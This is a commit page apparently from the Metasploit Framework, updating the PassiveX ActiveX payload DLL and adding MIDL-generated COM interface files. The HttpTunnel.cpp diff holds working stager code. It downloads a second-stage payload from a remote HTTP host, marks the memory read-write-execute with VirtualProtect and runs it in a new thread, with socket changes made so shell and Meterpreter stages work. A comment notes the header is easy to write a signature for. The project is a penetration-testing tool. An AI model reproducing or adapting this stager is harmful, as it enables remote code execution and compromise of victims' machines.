Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Commit the PassiveX DLL updated to build with Visual Studio C++ 2008.…

… Removed some compiler warnings. Use VirtualProtect to make second stage RWX. Use WSASocketA() over socket() for second stage compatibility. Seems to now work with the shell stage (Tested on XPSP2/IE7) but still not working with meterpreter.

git-svn-id: file:///home/svn/framework3/trunk@7461 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information...
commit 8c48a9a3f56b330da0e5ed5e391e10e27a00e2dc 1 parent c7967e0
@stephenfewer stephenfewer authored
View
BIN  data/passivex/passivex.dll
Binary file not shown
View
99 external/source/passivex/HttpTunnel.cpp
@@ -29,7 +29,7 @@ HttpTunnel::HttpTunnel()
MAKEWORD(2, 2),
&WsaData);
- srand(time(NULL));
+ srand((unsigned int)time(NULL));
}
HttpTunnel::~HttpTunnel()
@@ -55,7 +55,7 @@ DWORD HttpTunnel::Start(
do
{
// Initialize the hostname and port
- if (!(HttpHost = strdup(InHttpHost)))
+ if (!(HttpHost = _strdup(InHttpHost)))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
@@ -63,7 +63,7 @@ DWORD HttpTunnel::Start(
if ((InHttpSid) &&
(InHttpSid[0]) &&
- (!(HttpSid = strdup(InHttpSid))))
+ (!(HttpSid = _strdup(InHttpSid))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
@@ -71,7 +71,7 @@ DWORD HttpTunnel::Start(
if ((InHttpUriBase) &&
(InHttpUriBase[0]) &&
- (!(HttpUriBase = strdup(InHttpUriBase))))
+ (!(HttpUriBase = _strdup(InHttpUriBase))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
@@ -223,20 +223,44 @@ DWORD HttpTunnel::Stop()
* Creates the local TCP abstraction that will be used as the socket for the
* second stage that is read in
*/
+typedef SOCKET (WINAPI * WSASOCKETA)( int, int, int, LPVOID, DWORD, DWORD );
+
DWORD HttpTunnel::InitializeLocalConnection()
{
struct sockaddr_in Sin;
- USHORT LocalPort = 0;
- DWORD Attempts = 0;
- DWORD Result = ERROR_SUCCESS;
+ USHORT LocalPort = 0;
+ DWORD Attempts = 0;
+ DWORD Result = ERROR_SUCCESS;
+ HMODULE hWinsock = NULL;
+ WSASOCKETA pWSASocketA = NULL;
+ WSADATA wsaData;
+
+ hWinsock = LoadLibraryA( "WS2_32.DLL" );
+ if( hWinsock == NULL )
+ {
+ CPassiveX::Log( TEXT("DownloadSecondStage(): LoadLibraryA for WS2_32.DLL failed.\n") );
+ return !ERROR_SUCCESS;
+ }
+
+ pWSASocketA = (WSASOCKETA)GetProcAddress( hWinsock, "WSASocketA");
+ if( pWSASocketA == NULL )
+ {
+ CPassiveX::Log( TEXT("DownloadSecondStage(): GetProcAddress for WSASocketA failed.\n") );
+ return !ERROR_SUCCESS;
+ }
+
+ if( WSAStartup( MAKEWORD(2,2), &wsaData ) != 0 )
+ {
+ CPassiveX::Log( TEXT("DownloadSecondStage(): WSAStartup failed.\n") );
+ return !ERROR_SUCCESS;
+ }
do
{
// Create the TCP listener socket
- if ((LocalTcpListener = socket(
- AF_INET,
- SOCK_STREAM,
- IPPROTO_TCP)) == INVALID_SOCKET)
+ //LocalTcpListener = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
+ LocalTcpListener = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
+ if( LocalTcpListener == INVALID_SOCKET )
{
LocalTcpListener = 0;
Result = WSAGetLastError();
@@ -244,10 +268,8 @@ DWORD HttpTunnel::InitializeLocalConnection()
}
// Create the TCP client socket
- if ((LocalTcpClientSide = socket(
- AF_INET,
- SOCK_STREAM,
- IPPROTO_TCP)) == INVALID_SOCKET)
+ LocalTcpClientSide = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
+ if( LocalTcpClientSide == INVALID_SOCKET )
{
LocalTcpClientSide = 0;
Result = WSAGetLastError();
@@ -260,11 +282,7 @@ DWORD HttpTunnel::InitializeLocalConnection()
// Try 256 times to pick a random port
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
- while ((bind(
- LocalTcpListener,
- (struct sockaddr *)&Sin,
- sizeof(Sin)) == SOCKET_ERROR) &&
- (Attempts++ < 256))
+ while( ( bind( LocalTcpListener, (struct sockaddr *)&Sin, sizeof(Sin) ) == SOCKET_ERROR ) && (Attempts++ < 256) )
{
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
}
@@ -277,32 +295,23 @@ DWORD HttpTunnel::InitializeLocalConnection()
}
// Listen and stuff
- if (listen(
- LocalTcpListener,
- 1) == SOCKET_ERROR)
+ if (listen( LocalTcpListener, 1) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Establish a connection to the local listener
- if (connect(
- LocalTcpClientSide,
- (struct sockaddr *)&Sin,
- sizeof(Sin)) == SOCKET_ERROR)
+ if (connect( LocalTcpClientSide, (struct sockaddr *)&Sin, sizeof(Sin)) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Accept the local TCP connection
- if ((LocalTcpServerSide = accept(
- LocalTcpListener,
- NULL,
- NULL)) == SOCKET_ERROR)
+ if ((LocalTcpServerSide = accept( LocalTcpListener, NULL, NULL)) == SOCKET_ERROR)
{
LocalTcpServerSide = 0;
-
Result = WSAGetLastError();
break;
}
@@ -321,6 +330,8 @@ DWORD HttpTunnel::InitializeLocalConnection()
*/
VOID HttpTunnel::DownloadSecondStage()
{
+ DWORD dwOldProtect = 0;
+
// Transmit the request to download the second stage. The stage buffer that
// is passed back is never deallocated.
if ((TransmitHttpRequest(
@@ -336,9 +347,14 @@ VOID HttpTunnel::DownloadSecondStage()
{
DWORD ThreadId = 0;
- CPassiveX::Log(
- TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
- SecondStageSize);
+ CPassiveX::Log( TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"), SecondStageSize);
+
+ if( !VirtualProtect( (LPVOID)SecondStage, SecondStageSize, PAGE_EXECUTE_READWRITE, &dwOldProtect ) )
+ {
+ CPassiveX::Log(
+ TEXT("DownloadSecondStage(): Failed to VirtualProtect second stage (0x%08X) to be RWX. Error %lu."),
+ SecondStageSize, GetLastError() );
+ }
// Create the second stage thread
SecondStageThread = CreateThread(
@@ -438,11 +454,9 @@ DWORD HttpTunnel::TransmitHttpRequest(
// Construct the full URI
if (HttpUriBase && HttpUriBase[0])
- _snprintf(FullUri, sizeof(FullUri) - 1,
- "%s%s",
- HttpUriBase, Uri);
+ sprintf_s(FullUri, sizeof(FullUri) - 1, "%s%s", HttpUriBase, Uri);
else
- strncpy(FullUri, Uri, sizeof(FullUri) - 1);
+ strncpy_s(FullUri, 1024, Uri, sizeof(FullUri) - 1);
FullUri[sizeof(FullUri) - 1] = 0;
@@ -497,11 +511,10 @@ DWORD HttpTunnel::TransmitHttpRequest(
// additional header for transmission to the remote side.
if (HttpSid)
{
+ size_t size = strlen(HttpSid) + 32;
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
- if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
- sprintf(AdditionalHeaders,
- "X-Sid: sid=%s\r\n",
- HttpSid);
+ if(( AdditionalHeaders = (PCHAR)malloc(size) ))
+ sprintf_s( AdditionalHeaders, size, "X-Sid: sid=%s\r\n", HttpSid );
}
PROFILE_CHECKPOINT("HttpOpenRequest <==");
View
13 external/source/passivex/PassiveX.cpp
@@ -12,6 +12,19 @@ BEGIN_OBJECT_MAP(ObjectMap)
OBJECT_ENTRY(CLSID_PassiveX, CPassiveX)
END_OBJECT_MAP()
+namespace ATL
+{
+ void * __stdcall __AllocStdCallThunk()
+ {
+ return HeapAlloc( GetProcessHeap(), 0, sizeof(_stdcallthunk) );
+ }
+
+ void __stdcall __FreeStdCallThunk( void * p )
+ {
+ HeapFree( GetProcessHeap(), 0, p );
+ }
+}
+
extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
View
449 external/source/passivex/PassiveX.h
@@ -0,0 +1,449 @@
+
+
+/* this ALWAYS GENERATED file contains the definitions for the interfaces */
+
+
+ /* File created by MIDL compiler version 7.00.0500 */
+/* at Wed Nov 11 00:29:10 2009
+ */
+/* Compiler settings for .\PassiveX.idl:
+ Oicf, W1, Zp8, env=Win32 (32b run)
+ protocol : dce , ms_ext, c_ext, robust
+ error checks: allocation ref bounds_check enum stub_data
+ VC __declspec() decoration level:
+ __declspec(uuid()), __declspec(selectany), __declspec(novtable)
+ DECLSPEC_UUID(), MIDL_INTERFACE()
+*/
+//@@MIDL_FILE_HEADING( )
+
+#pragma warning( disable: 4049 ) /* more than 64k source lines */
+
+
+/* verify that the <rpcndr.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCNDR_H_VERSION__
+#define __REQUIRED_RPCNDR_H_VERSION__ 475
+#endif
+
+#include "rpc.h"
+#include "rpcndr.h"
+
+#ifndef __RPCNDR_H_VERSION__
+#error this stub requires an updated version of <rpcndr.h>
+#endif // __RPCNDR_H_VERSION__
+
+#ifndef COM_NO_WINDOWS_H
+#include "windows.h"
+#include "ole2.h"
+#endif /*COM_NO_WINDOWS_H*/
+
+#ifndef __PassiveX_h__
+#define __PassiveX_h__
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+#pragma once
+#endif
+
+/* Forward Declarations */
+
+#ifndef __IPassiveX_FWD_DEFINED__
+#define __IPassiveX_FWD_DEFINED__
+typedef interface IPassiveX IPassiveX;
+#endif /* __IPassiveX_FWD_DEFINED__ */
+
+
+#ifndef __PassiveXEvents_FWD_DEFINED__
+#define __PassiveXEvents_FWD_DEFINED__
+typedef interface PassiveXEvents PassiveXEvents;
+#endif /* __PassiveXEvents_FWD_DEFINED__ */
+
+
+#ifndef __PassiveX_FWD_DEFINED__
+#define __PassiveX_FWD_DEFINED__
+
+#ifdef __cplusplus
+typedef class PassiveX PassiveX;
+#else
+typedef struct PassiveX PassiveX;
+#endif /* __cplusplus */
+
+#endif /* __PassiveX_FWD_DEFINED__ */
+
+
+/* header files for imported files */
+#include "oaidl.h"
+#include "ocidl.h"
+
+#ifdef __cplusplus
+extern "C"{
+#endif
+
+
+/* interface __MIDL_itf_PassiveX_0000_0000 */
+/* [local] */
+
+
+enum PassiveXProperties
+ { PASSIVEX_PROPERTY_HTTP_HOST = 1,
+ PASSIVEX_PROPERTY_HTTP_PORT = 2,
+ PASSIVEX_PROPERTY_HTTP_SID = 4,
+ PASSIVEX_PROPERTY_HTTP_URI_BASE = 5,
+ PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3
+ } ;
+
+
+extern RPC_IF_HANDLE __MIDL_itf_PassiveX_0000_0000_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_PassiveX_0000_0000_v0_0_s_ifspec;
+
+#ifndef __IPassiveX_INTERFACE_DEFINED__
+#define __IPassiveX_INTERFACE_DEFINED__
+
+/* interface IPassiveX */
+/* [dual][unique][helpstring][uuid][object] */
+
+
+EXTERN_C const IID IID_IPassiveX;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+
+ MIDL_INTERFACE("1940F02F-41B0-4d92-BE34-DA55D151893A")
+ IPassiveX : public IDispatch
+ {
+ public:
+ virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_HttpHost(
+ /* [in] */ BSTR host) = 0;
+
+ virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_HttpHost(
+ /* [retval][out] */ BSTR *host) = 0;
+
+ virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_HttpSid(
+ /* [in] */ BSTR sid) = 0;
+
+ virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_HttpSid(
+ /* [retval][out] */ BSTR *sid) = 0;
+
+ virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_HttpUriBase(
+ /* [in] */ BSTR base) = 0;
+
+ virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_HttpUriBase(
+ /* [retval][out] */ BSTR *base) = 0;
+
+ virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_HttpPort(
+ /* [in] */ ULONG port) = 0;
+
+ virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_HttpPort(
+ /* [retval][out] */ ULONG *port) = 0;
+
+ virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_DownloadSecondStage(
+ /* [in] */ ULONG na) = 0;
+
+ virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_DownloadSecondStage(
+ /* [retval][out] */ ULONG *na) = 0;
+
+ };
+
+#else /* C style interface */
+
+ typedef struct IPassiveXVtbl
+ {
+ BEGIN_INTERFACE
+
+ HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
+ IPassiveX * This,
+ /* [in] */ REFIID riid,
+ /* [iid_is][out] */
+ __RPC__deref_out void **ppvObject);
+
+ ULONG ( STDMETHODCALLTYPE *AddRef )(
+ IPassiveX * This);
+
+ ULONG ( STDMETHODCALLTYPE *Release )(
+ IPassiveX * This);
+
+ HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )(
+ IPassiveX * This,
+ /* [out] */ UINT *pctinfo);
+
+ HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )(
+ IPassiveX * This,
+ /* [in] */ UINT iTInfo,
+ /* [in] */ LCID lcid,
+ /* [out] */ ITypeInfo **ppTInfo);
+
+ HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )(
+ IPassiveX * This,
+ /* [in] */ REFIID riid,
+ /* [size_is][in] */ LPOLESTR *rgszNames,
+ /* [range][in] */ UINT cNames,
+ /* [in] */ LCID lcid,
+ /* [size_is][out] */ DISPID *rgDispId);
+
+ /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )(
+ IPassiveX * This,
+ /* [in] */ DISPID dispIdMember,
+ /* [in] */ REFIID riid,
+ /* [in] */ LCID lcid,
+ /* [in] */ WORD wFlags,
+ /* [out][in] */ DISPPARAMS *pDispParams,
+ /* [out] */ VARIANT *pVarResult,
+ /* [out] */ EXCEPINFO *pExcepInfo,
+ /* [out] */ UINT *puArgErr);
+
+ /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HttpHost )(
+ IPassiveX * This,
+ /* [in] */ BSTR host);
+
+ /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HttpHost )(
+ IPassiveX * This,
+ /* [retval][out] */ BSTR *host);
+
+ /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HttpSid )(
+ IPassiveX * This,
+ /* [in] */ BSTR sid);
+
+ /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HttpSid )(
+ IPassiveX * This,
+ /* [retval][out] */ BSTR *sid);
+
+ /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HttpUriBase )(
+ IPassiveX * This,
+ /* [in] */ BSTR base);
+
+ /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HttpUriBase )(
+ IPassiveX * This,
+ /* [retval][out] */ BSTR *base);
+
+ /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HttpPort )(
+ IPassiveX * This,
+ /* [in] */ ULONG port);
+
+ /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HttpPort )(
+ IPassiveX * This,
+ /* [retval][out] */ ULONG *port);
+
+ /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_DownloadSecondStage )(
+ IPassiveX * This,
+ /* [in] */ ULONG na);
+
+ /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_DownloadSecondStage )(
+ IPassiveX * This,
+ /* [retval][out] */ ULONG *na);
+
+ END_INTERFACE
+ } IPassiveXVtbl;
+
+ interface IPassiveX
+ {
+ CONST_VTBL struct IPassiveXVtbl *lpVtbl;
+ };
+
+
+
+#ifdef COBJMACROS
+
+
+#define IPassiveX_QueryInterface(This,riid,ppvObject) \
+ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
+
+#define IPassiveX_AddRef(This) \
+ ( (This)->lpVtbl -> AddRef(This) )
+
+#define IPassiveX_Release(This) \
+ ( (This)->lpVtbl -> Release(This) )
+
+
+#define IPassiveX_GetTypeInfoCount(This,pctinfo) \
+ ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) )
+
+#define IPassiveX_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \
+ ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) )
+
+#define IPassiveX_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \
+ ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) )
+
+#define IPassiveX_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \
+ ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) )
+
+
+#define IPassiveX_put_HttpHost(This,host) \
+ ( (This)->lpVtbl -> put_HttpHost(This,host) )
+
+#define IPassiveX_get_HttpHost(This,host) \
+ ( (This)->lpVtbl -> get_HttpHost(This,host) )
+
+#define IPassiveX_put_HttpSid(This,sid) \
+ ( (This)->lpVtbl -> put_HttpSid(This,sid) )
+
+#define IPassiveX_get_HttpSid(This,sid) \
+ ( (This)->lpVtbl -> get_HttpSid(This,sid) )
+
+#define IPassiveX_put_HttpUriBase(This,base) \
+ ( (This)->lpVtbl -> put_HttpUriBase(This,base) )
+
+#define IPassiveX_get_HttpUriBase(This,base) \
+ ( (This)->lpVtbl -> get_HttpUriBase(This,base) )
+
+#define IPassiveX_put_HttpPort(This,port) \
+ ( (This)->lpVtbl -> put_HttpPort(This,port) )
+
+#define IPassiveX_get_HttpPort(This,port) \
+ ( (This)->lpVtbl -> get_HttpPort(This,port) )
+
+#define IPassiveX_put_DownloadSecondStage(This,na) \
+ ( (This)->lpVtbl -> put_DownloadSecondStage(This,na) )
+
+#define IPassiveX_get_DownloadSecondStage(This,na) \
+ ( (This)->lpVtbl -> get_DownloadSecondStage(This,na) )
+
+#endif /* COBJMACROS */
+
+
+#endif /* C style interface */
+
+
+
+
+#endif /* __IPassiveX_INTERFACE_DEFINED__ */
+
+
+
+#ifndef __PassiveXCOM_LIBRARY_DEFINED__
+#define __PassiveXCOM_LIBRARY_DEFINED__
+
+/* library PassiveXCOM */
+/* [helpstring][version][uuid] */
+
+
+EXTERN_C const IID LIBID_PassiveXCOM;
+
+#ifndef __PassiveXEvents_DISPINTERFACE_DEFINED__
+#define __PassiveXEvents_DISPINTERFACE_DEFINED__
+
+/* dispinterface PassiveXEvents */
+/* [helpstring][uuid] */
+
+
+EXTERN_C const IID DIID_PassiveXEvents;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+
+ MIDL_INTERFACE("9A427004-996C-4d39-BF55-F7EBE0EC6249")
+ PassiveXEvents : public IDispatch
+ {
+ };
+
+#else /* C style interface */
+
+ typedef struct PassiveXEventsVtbl
+ {
+ BEGIN_INTERFACE
+
+ HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
+ PassiveXEvents * This,
+ /* [in] */ REFIID riid,
+ /* [iid_is][out] */
+ __RPC__deref_out void **ppvObject);
+
+ ULONG ( STDMETHODCALLTYPE *AddRef )(
+ PassiveXEvents * This);
+
+ ULONG ( STDMETHODCALLTYPE *Release )(
+ PassiveXEvents * This);
+
+ HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )(
+ PassiveXEvents * This,
+ /* [out] */ UINT *pctinfo);
+
+ HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )(
+ PassiveXEvents * This,
+ /* [in] */ UINT iTInfo,
+ /* [in] */ LCID lcid,
+ /* [out] */ ITypeInfo **ppTInfo);
+
+ HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )(
+ PassiveXEvents * This,
+ /* [in] */ REFIID riid,
+ /* [size_is][in] */ LPOLESTR *rgszNames,
+ /* [range][in] */ UINT cNames,
+ /* [in] */ LCID lcid,
+ /* [size_is][out] */ DISPID *rgDispId);
+
+ /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )(
+ PassiveXEvents * This,
+ /* [in] */ DISPID dispIdMember,
+ /* [in] */ REFIID riid,
+ /* [in] */ LCID lcid,
+ /* [in] */ WORD wFlags,
+ /* [out][in] */ DISPPARAMS *pDispParams,
+ /* [out] */ VARIANT *pVarResult,
+ /* [out] */ EXCEPINFO *pExcepInfo,
+ /* [out] */ UINT *puArgErr);
+
+ END_INTERFACE
+ } PassiveXEventsVtbl;
+
+ interface PassiveXEvents
+ {
+ CONST_VTBL struct PassiveXEventsVtbl *lpVtbl;
+ };
+
+
+
+#ifdef COBJMACROS
+
+
+#define PassiveXEvents_QueryInterface(This,riid,ppvObject) \
+ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
+
+#define PassiveXEvents_AddRef(This) \
+ ( (This)->lpVtbl -> AddRef(This) )
+
+#define PassiveXEvents_Release(This) \
+ ( (This)->lpVtbl -> Release(This) )
+
+
+#define PassiveXEvents_GetTypeInfoCount(This,pctinfo) \
+ ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) )
+
+#define PassiveXEvents_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \
+ ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) )
+
+#define PassiveXEvents_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \
+ ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) )
+
+#define PassiveXEvents_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \
+ ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) )
+
+#endif /* COBJMACROS */
+
+
+#endif /* C style interface */
+
+
+#endif /* __PassiveXEvents_DISPINTERFACE_DEFINED__ */
+
+
+EXTERN_C const CLSID CLSID_PassiveX;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("B3AC7307-FEAE-4e43-B2D6-161E68ABA838")
+PassiveX;
+#endif
+#endif /* __PassiveXCOM_LIBRARY_DEFINED__ */
+
+/* Additional Prototypes for ALL interfaces */
+
+unsigned long __RPC_USER BSTR_UserSize( unsigned long *, unsigned long , BSTR * );
+unsigned char * __RPC_USER BSTR_UserMarshal( unsigned long *, unsigned char *, BSTR * );
+unsigned char * __RPC_USER BSTR_UserUnmarshal(unsigned long *, unsigned char *, BSTR * );
+void __RPC_USER BSTR_UserFree( unsigned long *, BSTR * );
+
+/* end of Additional Prototypes */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
View
88 external/source/passivex/PassiveX_i.c
@@ -0,0 +1,88 @@
+
+
+/* this ALWAYS GENERATED file contains the IIDs and CLSIDs */
+
+/* link this file in with the server and any clients */
+
+
+ /* File created by MIDL compiler version 7.00.0500 */
+/* at Wed Nov 11 00:29:10 2009
+ */
+/* Compiler settings for .\PassiveX.idl:
+ Oicf, W1, Zp8, env=Win32 (32b run)
+ protocol : dce , ms_ext, c_ext, robust
+ error checks: allocation ref bounds_check enum stub_data
+ VC __declspec() decoration level:
+ __declspec(uuid()), __declspec(selectany), __declspec(novtable)
+ DECLSPEC_UUID(), MIDL_INTERFACE()
+*/
+//@@MIDL_FILE_HEADING( )
+
+#pragma warning( disable: 4049 ) /* more than 64k source lines */
+
+
+#ifdef __cplusplus
+extern "C"{
+#endif
+
+
+#include <rpc.h>
+#include <rpcndr.h>
+
+#ifdef _MIDL_USE_GUIDDEF_
+
+#ifndef INITGUID
+#define INITGUID
+#include <guiddef.h>
+#undef INITGUID
+#else
+#include <guiddef.h>
+#endif
+
+#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
+ DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8)
+
+#else // !_MIDL_USE_GUIDDEF_
+
+#ifndef __IID_DEFINED__
+#define __IID_DEFINED__
+
+typedef struct _IID
+{
+ unsigned long x;
+ unsigned short s1;
+ unsigned short s2;
+ unsigned char c[8];
+} IID;
+
+#endif // __IID_DEFINED__
+
+#ifndef CLSID_DEFINED
+#define CLSID_DEFINED
+typedef IID CLSID;
+#endif // CLSID_DEFINED
+
+#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
+ const type name = {l,w1,w2,{b1,b2,b3,b4,b5,b6,b7,b8}}
+
+#endif !_MIDL_USE_GUIDDEF_
+
+MIDL_DEFINE_GUID(IID, IID_IPassiveX,0x1940F02F,0x41B0,0x4d92,0xBE,0x34,0xDA,0x55,0xD1,0x51,0x89,0x3A);
+
+
+MIDL_DEFINE_GUID(IID, LIBID_PassiveXCOM,0xCA8B739E,0x450C,0x47bb,0xA5,0x57,0x35,0x79,0xA6,0x33,0xBB,0x5D);
+
+
+MIDL_DEFINE_GUID(IID, DIID_PassiveXEvents,0x9A427004,0x996C,0x4d39,0xBF,0x55,0xF7,0xEB,0xE0,0xEC,0x62,0x49);
+
+
+MIDL_DEFINE_GUID(CLSID, CLSID_PassiveX,0xB3AC7307,0xFEAE,0x4e43,0xB2,0xD6,0x16,0x1E,0x68,0xAB,0xA8,0x38);
+
+#undef MIDL_DEFINE_GUID
+
+#ifdef __cplusplus
+}
+#endif
+
+
+
View
678 external/source/passivex/PassiveX_p.c
@@ -0,0 +1,678 @@
+
+
+/* this ALWAYS GENERATED file contains the proxy stub code */
+
+
+ /* File created by MIDL compiler version 7.00.0500 */
+/* at Wed Nov 11 00:29:10 2009
+ */
+/* Compiler settings for .\PassiveX.idl:
+ Oicf, W1, Zp8, env=Win32 (32b run)
+ protocol : dce , ms_ext, c_ext, robust
+ error checks: allocation ref bounds_check enum stub_data
+ VC __declspec() decoration level:
+ __declspec(uuid()), __declspec(selectany), __declspec(novtable)
+ DECLSPEC_UUID(), MIDL_INTERFACE()
+*/
+//@@MIDL_FILE_HEADING( )
+
+#if !defined(_M_IA64) && !defined(_M_AMD64)
+
+
+#pragma warning( disable: 4049 ) /* more than 64k source lines */
+#if _MSC_VER >= 1200
+#pragma warning(push)
+#endif
+
+#pragma warning( disable: 4211 ) /* redefine extern to static */
+#pragma warning( disable: 4232 ) /* dllimport identity*/
+#pragma warning( disable: 4024 ) /* array to pointer mapping*/
+#pragma warning( disable: 4152 ) /* function/data pointer conversion in expression */
+#pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */
+
+#pragma optimize("", off )
+
+#define USE_STUBLESS_PROXY
+
+
+/* verify that the <rpcproxy.h> version is high enough to compile this file*/
+#ifndef __REDQ_RPCPROXY_H_VERSION__
+#define __REQUIRED_RPCPROXY_H_VERSION__ 475
+#endif
+
+
+#include "rpcproxy.h"
+#ifndef __RPCPROXY_H_VERSION__
+#error this stub requires an updated version of <rpcproxy.h>
+#endif // __RPCPROXY_H_VERSION__
+
+
+#include "PassiveX.h"
+
+#define TYPE_FORMAT_STRING_SIZE 61
+#define PROC_FORMAT_STRING_SIZE 361
+#define EXPR_FORMAT_STRING_SIZE 1
+#define TRANSMIT_AS_TABLE_SIZE 0
+#define WIRE_MARSHAL_TABLE_SIZE 1
+
+typedef struct _PassiveX_MIDL_TYPE_FORMAT_STRING
+ {
+ short Pad;
+ unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
+ } PassiveX_MIDL_TYPE_FORMAT_STRING;
+
+typedef struct _PassiveX_MIDL_PROC_FORMAT_STRING
+ {
+ short Pad;
+ unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
+ } PassiveX_MIDL_PROC_FORMAT_STRING;
+
+typedef struct _PassiveX_MIDL_EXPR_FORMAT_STRING
+ {
+ long Pad;
+ unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
+ } PassiveX_MIDL_EXPR_FORMAT_STRING;
+
+
+static RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
+{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
+
+
+extern const PassiveX_MIDL_TYPE_FORMAT_STRING PassiveX__MIDL_TypeFormatString;
+extern const PassiveX_MIDL_PROC_FORMAT_STRING PassiveX__MIDL_ProcFormatString;
+extern const PassiveX_MIDL_EXPR_FORMAT_STRING PassiveX__MIDL_ExprFormatString;
+
+
+extern const MIDL_STUB_DESC Object_StubDesc;
+
+
+extern const MIDL_SERVER_INFO IPassiveX_ServerInfo;
+extern const MIDL_STUBLESS_PROXY_INFO IPassiveX_ProxyInfo;
+
+
+extern const USER_MARSHAL_ROUTINE_QUADRUPLE UserMarshalRoutines[ WIRE_MARSHAL_TABLE_SIZE ];
+
+#if !defined(__RPC_WIN32__)
+#error Invalid build platform for this stub.
+#endif
+
+#if !(TARGET_IS_NT50_OR_LATER)
+#error You need a Windows 2000 or later to run this stub because it uses these features:
+#error /robust command line switch.
+#error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
+#error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
+#endif
+
+
+static const PassiveX_MIDL_PROC_FORMAT_STRING PassiveX__MIDL_ProcFormatString =
+ {
+ 0,
+ {
+
+ /* Procedure put_HttpHost */
+
+ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
